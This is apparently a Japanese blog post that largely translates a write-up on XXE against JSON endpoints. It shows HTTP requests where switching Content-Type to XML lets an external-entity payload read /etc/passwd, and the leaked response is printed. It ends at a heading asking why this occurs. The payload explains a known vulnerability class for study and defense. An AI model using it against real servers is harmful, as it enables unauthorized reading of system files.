はまやんはまやんはまやん

hamayanhamayan's blog

XXE on JSON Endpoints

概要

  • JSONを渡すAPIに対して、XMLを渡すことができる場合がある
  • その場合にXXEが行えてしまう

JSONを渡すAPIに対してXMLが渡せる現象

Playing with Content-Type – XXE on JSON Endpointsのほぼ日本語訳。

例えば、

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

というリクエストに対して、

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

が帰ってくるとする。
リクエストを以下の様に変更すると、そのまま送れてしまう。

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

返答も同じ。

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

この状態なら、XXEが行える。
XXEについては、ここが詳しい。

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

とすれば、

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

と帰ってくることになる。

この現象はなぜ起こるのか